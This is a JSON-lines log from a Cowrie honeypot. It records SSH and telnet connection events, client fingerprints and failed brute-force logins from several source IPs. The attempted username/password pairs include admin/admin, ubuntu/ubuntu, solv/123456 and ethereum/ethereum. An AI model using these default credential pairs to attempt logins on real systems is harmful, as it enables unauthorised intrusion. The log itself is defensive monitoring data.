{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":43474,"dst_ip":"159.203.135.109","dst_port":22,"session":"608a17793c59","protocol":"ssh","message":"New connection: 124.128.221.98:43474 (159.203.135.109:22) [session: 608a17793c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:55.627057Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:55.869051Z","src_ip":"124.128.221.98","session":"608a17793c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:58.459449Z","src_ip":"91.208.206.75","session":"a30681d139b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.23605346679688,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:27:58.463424Z","src_ip":"91.208.206.75","session":"a30681d139b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43728,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc353114c74e","protocol":"ssh","message":"New connection: 193.32.162.145:43728 (159.203.135.109:22) [session: bc353114c74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.139901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.144556Z","src_ip":"193.32.162.145","session":"bc353114c74e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.246655Z","src_ip":"193.32.162.145","session":"bc353114c74e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.556109Z","src_ip":"193.32.162.145","session":"bc353114c74e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6dcb26d1dd3","protocol":"ssh","message":"New connection: 195.178.110.218:41094 (159.203.135.109:22) [session: e6dcb26d1dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.957480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:39.962281Z","src_ip":"195.178.110.218","session":"e6dcb26d1dd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:40.042701Z","src_ip":"195.178.110.218","session":"e6dcb26d1dd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:40.287244Z","src_ip":"195.178.110.218","session":"e6dcb26d1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:40.719340Z","src_ip":"193.32.162.145","session":"bc353114c74e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:41.369612Z","src_ip":"195.178.110.218","session":"e6dcb26d1dd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53506,"dst_ip":"10.17.0.5","dst_port":22,"session":"69051c10f1d5","protocol":"ssh","message":"New connection: 195.178.110.218:53506 (10.17.0.5:22) [session: 69051c10f1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:58.631585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:58.635922Z","src_ip":"195.178.110.218","session":"69051c10f1d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:58.711356Z","src_ip":"195.178.110.218","session":"69051c10f1d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:29:58.937226Z","src_ip":"195.178.110.218","session":"69051c10f1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:00.015785Z","src_ip":"195.178.110.218","session":"69051c10f1d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":58688,"dst_ip":"159.203.135.109","dst_port":22,"session":"42c2b2b07ed8","protocol":"ssh","message":"New connection: 2.57.122.96:58688 (159.203.135.109:22) [session: 42c2b2b07ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:35.911124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:35.915228Z","src_ip":"2.57.122.96","session":"42c2b2b07ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:36.018711Z","src_ip":"2.57.122.96","session":"42c2b2b07ed8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:36.337493Z","src_ip":"2.57.122.96","session":"42c2b2b07ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:30:37.445000Z","src_ip":"2.57.122.96","session":"42c2b2b07ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34766,"dst_ip":"159.203.135.109","dst_port":22,"session":"888ffeb61174","protocol":"ssh","message":"New connection: 193.32.162.145:34766 (159.203.135.109:22) [session: 888ffeb61174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:31:54.500639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:31:54.505067Z","src_ip":"193.32.162.145","session":"888ffeb61174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:31:54.613451Z","src_ip":"193.32.162.145","session":"888ffeb61174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:31:54.947523Z","src_ip":"193.32.162.145","session":"888ffeb61174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:31:56.131234Z","src_ip":"193.32.162.145","session":"888ffeb61174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35812,"dst_ip":"159.203.135.109","dst_port":22,"session":"00ab23043fd2","protocol":"ssh","message":"New connection: 195.178.110.218:35812 (159.203.135.109:22) [session: 00ab23043fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:12.973961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:12.978174Z","src_ip":"195.178.110.218","session":"00ab23043fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:13.057448Z","src_ip":"195.178.110.218","session":"00ab23043fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:13.295217Z","src_ip":"195.178.110.218","session":"00ab23043fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:14.376971Z","src_ip":"195.178.110.218","session":"00ab23043fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35294,"dst_ip":"10.17.0.5","dst_port":22,"session":"f451fee4e687","protocol":"ssh","message":"New connection: 195.178.110.218:35294 (10.17.0.5:22) [session: f451fee4e687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:29.535582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:29.542629Z","src_ip":"195.178.110.218","session":"f451fee4e687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:29.621952Z","src_ip":"195.178.110.218","session":"f451fee4e687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:29.866711Z","src_ip":"195.178.110.218","session":"f451fee4e687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:32:30.950214Z","src_ip":"195.178.110.218","session":"f451fee4e687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47648,"dst_ip":"159.203.135.109","dst_port":22,"session":"f236c864b48d","protocol":"ssh","message":"New connection: 2.57.122.96:47648 (159.203.135.109:22) [session: f236c864b48d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:33:29.805716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:33:29.808898Z","src_ip":"2.57.122.96","session":"f236c864b48d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:33:29.908024Z","src_ip":"2.57.122.96","session":"f236c864b48d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:33:30.204609Z","src_ip":"2.57.122.96","session":"f236c864b48d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:33:31.373734Z","src_ip":"2.57.122.96","session":"f236c864b48d","protocol":"ssh"}
